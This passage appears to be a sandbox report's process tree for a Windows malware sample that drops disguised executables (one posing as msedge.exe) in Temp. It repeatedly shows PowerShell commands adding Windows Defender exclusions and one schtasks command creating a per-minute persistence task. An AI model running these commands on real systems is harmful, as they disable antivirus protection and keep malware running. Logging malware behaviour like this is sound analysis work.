"C:\Users\Admin\AppData\Local\Temp\Launcher.exe"
23⤵
PID:1132

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Launcher.exe'
24⤵
- Command and Scripting Interpreter: PowerShell
PID:1968

C:\Users\Admin\AppData\Local\Temp\Launcher.exe
"C:\Users\Admin\AppData\Local\Temp\Launcher.exe"
24⤵
PID:1824

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Launcher.exe'
25⤵
- Command and Scripting Interpreter: PowerShell
PID:1028

C:\Users\Admin\AppData\Local\Temp\Launcher.exe
"C:\Users\Admin\AppData\Local\Temp\Launcher.exe"
25⤵
PID:1712

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Launcher.exe'
26⤵
PID:2380

C:\Users\Admin\AppData\Local\Temp\Launcher.exe
"C:\Users\Admin\AppData\Local\Temp\Launcher.exe"
26⤵
PID:2104

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Launcher.exe'
27⤵
- Command and Scripting Interpreter: PowerShell
PID:2136

C:\Users\Admin\AppData\Local\Temp\Launcher.exe
"C:\Users\Admin\AppData\Local\Temp\Launcher.exe"
27⤵
PID:2428

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Launcher.exe'
28⤵
- Command and Scripting Interpreter: PowerShell
PID:860

C:\Users\Admin\AppData\Local\Temp\Launcher.exe
"C:\Users\Admin\AppData\Local\Temp\Launcher.exe"
28⤵
PID:1772

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\msedge.exe'
28⤵
- Command and Scripting Interpreter: PowerShell
PID:2140

C:\Users\Admin\AppData\Local\Temp\msedge.exe
"C:\Users\Admin\AppData\Local\Temp\msedge.exe"
28⤵
PID:2424

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Otupevi.exe'
28⤵
- Command and Scripting Interpreter: PowerShell
PID:2644

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\msedge.exe'
27⤵
- Command and Scripting Interpreter: PowerShell
PID:1864

C:\Users\Admin\AppData\Local\Temp\msedge.exe
"C:\Users\Admin\AppData\Local\Temp\msedge.exe"
27⤵
- Executes dropped EXE
PID:2168

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Otupevi.exe'
27⤵
PID:2516

C:\Users\Admin\AppData\Local\Temp\Otupevi.exe
"C:\Users\Admin\AppData\Local\Temp\Otupevi.exe"
27⤵
- Executes dropped EXE
PID:1824

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\msedge.exe'
26⤵
- Command and Scripting Interpreter: PowerShell
PID:1028

C:\Users\Admin\AppData\Local\Temp\msedge.exe
"C:\Users\Admin\AppData\Local\Temp\msedge.exe"
26⤵
- Executes dropped EXE
PID:928

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\msedge.exe'
27⤵
PID:1864

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'msedge.exe'
27⤵
- Command and Scripting Interpreter: PowerShell
PID:1048

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Otupevi.exe'
26⤵
- Command and Scripting Interpreter: PowerShell
PID:2616

C:\Users\Admin\AppData\Local\Temp\Otupevi.exe
"C:\Users\Admin\AppData\Local\Temp\Otupevi.exe"
26⤵
- Executes dropped EXE
PID:2608

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\msedge.exe'
25⤵
PID:556

C:\Users\Admin\AppData\Local\Temp\msedge.exe
"C:\Users\Admin\AppData\Local\Temp\msedge.exe"
25⤵
- Executes dropped EXE
PID:2472

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Otupevi.exe'
25⤵
PID:2740

C:\Users\Admin\AppData\Local\Temp\Otupevi.exe
"C:\Users\Admin\AppData\Local\Temp\Otupevi.exe"
25⤵
- Executes dropped EXE
PID:2060

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\msedge.exe'
24⤵
- Command and Scripting Interpreter: PowerShell
PID:2472

C:\Users\Admin\AppData\Local\Temp\msedge.exe
"C:\Users\Admin\AppData\Local\Temp\msedge.exe"
24⤵
- Executes dropped EXE
PID:2712

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Otupevi.exe'
24⤵
- Command and Scripting Interpreter: PowerShell
PID:1864

C:\Users\Admin\AppData\Local\Temp\Otupevi.exe
"C:\Users\Admin\AppData\Local\Temp\Otupevi.exe"
24⤵
- Executes dropped EXE
PID:1536

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\msedge.exe'
23⤵
PID:1864

C:\Users\Admin\AppData\Local\Temp\msedge.exe
"C:\Users\Admin\AppData\Local\Temp\msedge.exe"
23⤵
- Executes dropped EXE
PID:2516

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Otupevi.exe'
23⤵
PID:2436

C:\Users\Admin\AppData\Local\Temp\Otupevi.exe
"C:\Users\Admin\AppData\Local\Temp\Otupevi.exe"
23⤵
- Executes dropped EXE
PID:2160

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\msedge.exe'
22⤵
- Command and Scripting Interpreter: PowerShell
PID:3056

C:\Users\Admin\AppData\Local\Temp\msedge.exe
"C:\Users\Admin\AppData\Local\Temp\msedge.exe"
22⤵
- Executes dropped EXE
PID:1384

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Otupevi.exe'
22⤵
- Command and Scripting Interpreter: PowerShell
PID:2868

C:\Users\Admin\AppData\Local\Temp\Otupevi.exe
"C:\Users\Admin\AppData\Local\Temp\Otupevi.exe"
22⤵
- Executes dropped EXE
PID:1564

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\msedge.exe'
21⤵
- Command and Scripting Interpreter: PowerShell
PID:1564

C:\Users\Admin\AppData\Local\Temp\msedge.exe
"C:\Users\Admin\AppData\Local\Temp\msedge.exe"
21⤵
- Executes dropped EXE
PID:1796

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Otupevi.exe'
21⤵
- Command and Scripting Interpreter: PowerShell
PID:2932

C:\Users\Admin\AppData\Local\Temp\Otupevi.exe
"C:\Users\Admin\AppData\Local\Temp\Otupevi.exe"
21⤵
- Executes dropped EXE
PID:1744

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\msedge.exe'
20⤵
- Command and Scripting Interpreter: PowerShell
PID:1552

C:\Users\Admin\AppData\Local\Temp\msedge.exe
"C:\Users\Admin\AppData\Local\Temp\msedge.exe"
20⤵
- Executes dropped EXE
PID:2660

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Otupevi.exe'
20⤵
- Command and Scripting Interpreter: PowerShell
PID:1932

C:\Users\Admin\AppData\Local\Temp\Otupevi.exe
"C:\Users\Admin\AppData\Local\Temp\Otupevi.exe"
20⤵
- Executes dropped EXE
PID:2672

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\msedge.exe'
19⤵
- Command and Scripting Interpreter: PowerShell
PID:2364

C:\Users\Admin\AppData\Local\Temp\msedge.exe
"C:\Users\Admin\AppData\Local\Temp\msedge.exe"
19⤵
- Executes dropped EXE
PID:2252

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Otupevi.exe'
19⤵
PID:2876

C:\Users\Admin\AppData\Local\Temp\Otupevi.exe
"C:\Users\Admin\AppData\Local\Temp\Otupevi.exe"
19⤵
- Executes dropped EXE
PID:2444

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\msedge.exe'
18⤵
- Command and Scripting Interpreter: PowerShell
PID:1856

C:\Users\Admin\AppData\Local\Temp\msedge.exe
"C:\Users\Admin\AppData\Local\Temp\msedge.exe"
18⤵
- Executes dropped EXE
PID:2644

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Otupevi.exe'
18⤵
PID:2308

C:\Users\Admin\AppData\Local\Temp\Otupevi.exe
"C:\Users\Admin\AppData\Local\Temp\Otupevi.exe"
18⤵
- Executes dropped EXE
PID:2852

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\msedge.exe'
17⤵
- Command and Scripting Interpreter: PowerShell
PID:2260

C:\Users\Admin\AppData\Local\Temp\msedge.exe
"C:\Users\Admin\AppData\Local\Temp\msedge.exe"
17⤵
- Executes dropped EXE
PID:1624

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Otupevi.exe'
17⤵
- Command and Scripting Interpreter: PowerShell
PID:2252

C:\Users\Admin\AppData\Local\Temp\Otupevi.exe
"C:\Users\Admin\AppData\Local\Temp\Otupevi.exe"
17⤵
- Executes dropped EXE
PID:1092

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\msedge.exe'
16⤵
- Command and Scripting Interpreter: PowerShell
PID:2788

C:\Users\Admin\AppData\Local\Temp\msedge.exe
"C:\Users\Admin\AppData\Local\Temp\msedge.exe"
16⤵
- Executes dropped EXE
PID:632

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Otupevi.exe'
16⤵
- Command and Scripting Interpreter: PowerShell
PID:1968

C:\Users\Admin\AppData\Local\Temp\Otupevi.exe
"C:\Users\Admin\AppData\Local\Temp\Otupevi.exe"
16⤵
- Executes dropped EXE
PID:2620

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\msedge.exe'
15⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:2120

C:\Users\Admin\AppData\Local\Temp\msedge.exe
"C:\Users\Admin\AppData\Local\Temp\msedge.exe"
15⤵
- Executes dropped EXE
PID:2476

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Otupevi.exe'
15⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:2512

C:\Users\Admin\AppData\Local\Temp\Otupevi.exe
"C:\Users\Admin\AppData\Local\Temp\Otupevi.exe"
15⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:1228

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\msedge.exe'
14⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:2512

C:\Users\Admin\AppData\Local\Temp\msedge.exe
"C:\Users\Admin\AppData\Local\Temp\msedge.exe"
14⤵
- Executes dropped EXE
PID:2364

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Otupevi.exe'
14⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:2704

C:\Users\Admin\AppData\Local\Temp\Otupevi.exe
"C:\Users\Admin\AppData\Local\Temp\Otupevi.exe"
14⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:2568

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\msedge.exe'
13⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:1376

C:\Users\Admin\AppData\Local\Temp\msedge.exe
"C:\Users\Admin\AppData\Local\Temp\msedge.exe"
13⤵
- Drops startup file
- Executes dropped EXE
PID:3032

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\msedge.exe'
14⤵
- Suspicious behavior: EnumeratesProcesses
PID:2148

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'msedge.exe'
14⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:2756

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\msedge.exe'
14⤵
- Suspicious behavior: EnumeratesProcesses
PID:1812

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'msedge.exe'
14⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:2052

C:\Windows\System32\schtasks.exe
"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "msedge" /tr "C:\Users\Admin\msedge.exe"
14⤵
- Scheduled Task/Job: Scheduled Task
PID:2724

C:\Windows\System32\schtasks.exe
"C:\Windows\System32\schtasks.exe" /delete /f /tn "msedge"
14⤵
PID:1196

C:\Windows\system32\cmd.exe
cmd /c ""C:\Users\Admin\AppData\Local\Temp\tmpF92E.tmp.bat""
14⤵
PID:1720

C:\Windows\system32\timeout.exe
timeout 3
15⤵
- Delays execution with timeout.exe
PID:860

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Otupevi.exe'
13⤵
- Suspicious behavior: EnumeratesProcesses
PID:1508

C:\Users\Admin\AppData\Local\Temp\Otupevi.exe
"C:\Users\Admin\AppData\Local\Temp\Otupevi.exe"
13⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:2044

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\msedge.exe'
12⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:2436

C:\Users\Admin\AppData\Local\Temp\msedge.exe
"C:\Users\Admin\AppData\Local\Temp\msedge.exe"
12⤵
- Executes dropped EXE
PID:1560

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Otupevi.exe'
12⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:1160

C:\Users\Admin\AppData\Local\Temp\Otupevi.exe
"C:\Users\Admin\AppData\Local\Temp\Otupevi.exe"
12⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:448

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\msedge.exe'
11⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:548

C:\Users\Admin\AppData\Local\Temp\msedge.exe
"C:\Users\Admin\AppData\Local\Temp\msedge.exe"
11⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2932

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Otupevi.exe'
11⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:2536

C:\Users\Admin\AppData\Local\Temp\Otupevi.exe
"C:\Users\Admin\AppData\Local\Temp\Otupevi.exe"
11⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:1300

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\msedge.exe'
10⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2060

C:\Users\Admin\AppData\Local\Temp\msedge.exe
"C:\Users\Admin\AppData\Local\Temp\msedge.exe"
10⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1904

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Otupevi.exe'
10⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1540

C:\Users\Admin\AppData\Local\Temp\Otupevi.exe
"C:\Users\Admin\AppData\Local\Temp\Otupevi.exe"
10⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1964

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\msedge.exe'
9⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2024

C:\Users\Admin\AppData\Local\Temp\msedge.exe
"C:\Users\Admin\AppData\Local\Temp\msedge.exe"
9⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1336

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Otupevi.exe'
9⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2632

C:\Users\Admin\AppData\Local\Temp\Otupevi.exe
"C:\Users\Admin\AppData\Local\Temp\Otupevi.exe"
9⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:560

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\msedge.exe'
8⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1688

C:\Users\Admin\AppData\Local\Temp\msedge.exe
"C:\Users\Admin\AppData\Local\Temp\msedge.exe"
8⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1976

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Otupevi.exe'
8⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:904

C:\Users\Admin\AppData\Local\Temp\Otupevi.exe
"C:\Users\Admin\AppData\Local\Temp\Otupevi.exe"
8⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2500

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\msedge.exe'
7⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2412

C:\Users\Admin\AppData\Local\Temp\msedge.exe
"C:\Users\Admin\AppData\Local\Temp\msedge.exe"
7⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1696

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Otupevi.exe'
7⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2052

C:\Users\Admin\AppData\Local\Temp\Otupevi.exe
"C:\Users\Admin\AppData\Local\Temp\Otupevi.exe"
7⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2128

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\msedge.exe'
6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1588

C:\Users\Admin\AppData\Local\Temp\msedge.exe
"C:\Users\Admin\AppData\Local\Temp\msedge.exe"
6⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2668

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Otupevi.exe'
6⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3056

C:\Users\Admin\AppData\Local\Temp\Otupevi.exe
"C:\Users\Admin\AppData\Local\Temp\Otupevi.exe"
6⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2584

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\msedge.exe'
5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1240

C:\Users\Admin\AppData\Local\Temp\msedge.exe
"C:\Users\Admin\AppData\Local\Temp\msedge.exe"
5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2812

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Otupevi.exe'
5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1688

C:\Users\Admin\AppData\Local\Temp\Otupevi.exe
"C:\Users\Admin\AppData\Local\Temp\Otupevi.exe"
5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:536

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\msedge.exe'
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1988

C:\Users\Admin\AppData\Local\Temp\msedge.exe
